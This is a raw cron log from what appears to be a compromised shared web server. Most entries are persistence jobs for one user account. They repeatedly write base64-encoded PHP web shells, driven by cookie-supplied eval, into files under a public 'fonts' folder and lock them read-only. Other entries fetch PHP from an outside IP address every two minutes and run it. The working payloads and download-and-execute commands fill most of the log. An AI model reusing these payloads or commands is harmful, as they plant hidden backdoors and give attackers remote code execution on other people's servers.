Sep  6 08:25:01 ip-184-168-122-23 CROND[9018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:25:01 ip-184-168-122-23 CROND[9019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:25:01 ip-184-168-122-23 CROND[9017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:25:02 ip-184-168-122-23 CROND[9020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:25:02 ip-184-168-122-23 CROND[9021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:26:01 ip-184-168-122-23 CROND[9114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:26:01 ip-184-168-122-23 CROND[9116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:26:01 ip-184-168-122-23 CROND[9119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:26:01 ip-184-168-122-23 CROND[9117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:26:01 ip-184-168-122-23 CROND[9118]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  6 08:26:01 ip-184-168-122-23 CROND[9120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  6 08:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  6 08:27:01 ip-184-168-122-23 CROND[9377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:27:01 ip-184-168-122-23 CROND[9379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:27:01 ip-184-168-122-23 CROND[9381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:27:01 ip-184-168-122-23 CROND[9380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:28:01 ip-184-168-122-23 CROND[9471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:28:01 ip-184-168-122-23 CROND[9473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:28:01 ip-184-168-122-23 CROND[9474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:28:01 ip-184-168-122-23 CROND[9475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:28:01 ip-184-168-122-23 CROND[9476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:29:01 ip-184-168-122-23 CROND[9573]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:29:01 ip-184-168-122-23 CROND[9575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:29:01 ip-184-168-122-23 CROND[9576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:29:01 ip-184-168-122-23 CROND[9577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:30:01 ip-184-168-122-23 CROND[9667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:30:01 ip-184-168-122-23 CROND[9669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:30:01 ip-184-168-122-23 CROND[9671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:30:01 ip-184-168-122-23 CROND[9676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:30:01 ip-184-168-122-23 CROND[9678]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 08:30:01 ip-184-168-122-23 CROND[9679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:30:01 ip-184-168-122-23 CROND[9677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:30:01 ip-184-168-122-23 CROND[9681]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:30:01 ip-184-168-122-23 CROND[9675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:31:01 ip-184-168-122-23 CROND[9827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:31:01 ip-184-168-122-23 CROND[9828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:31:01 ip-184-168-122-23 CROND[9833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:31:01 ip-184-168-122-23 CROND[9834]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:31:01 ip-184-168-122-23 CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:32:01 ip-184-168-122-23 CROND[9931]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:32:01 ip-184-168-122-23 CROND[9933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:32:01 ip-184-168-122-23 CROND[9934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:32:01 ip-184-168-122-23 CROND[9935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:32:01 ip-184-168-122-23 CROND[9936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:33:01 ip-184-168-122-23 CROND[10097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:33:01 ip-184-168-122-23 CROND[10098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:33:01 ip-184-168-122-23 CROND[10100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:33:01 ip-184-168-122-23 CROND[10101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:34:01 ip-184-168-122-23 CROND[10187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:34:01 ip-184-168-122-23 CROND[10189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:34:01 ip-184-168-122-23 CROND[10192]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:34:01 ip-184-168-122-23 CROND[10191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:34:01 ip-184-168-122-23 CROND[10194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:35:01 ip-184-168-122-23 CROND[10307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:35:01 ip-184-168-122-23 CROND[10311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:35:01 ip-184-168-122-23 CROND[10310]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:35:01 ip-184-168-122-23 CROND[10313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:35:01 ip-184-168-122-23 CROND[10309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:35:01 ip-184-168-122-23 CROND[10312]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 08:35:01 ip-184-168-122-23 CROND[10314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:35:01 ip-184-168-122-23 CROND[10315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:36:01 ip-184-168-122-23 CROND[10413]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 08:36:01 ip-184-168-122-23 CROND[10417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 08:36:01 ip-184-168-122-23 CROND[10415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 08:36:01 ip-184-168-122-23 CROND[10416]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:36:01 ip-184-168-122-23 CROND[10418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
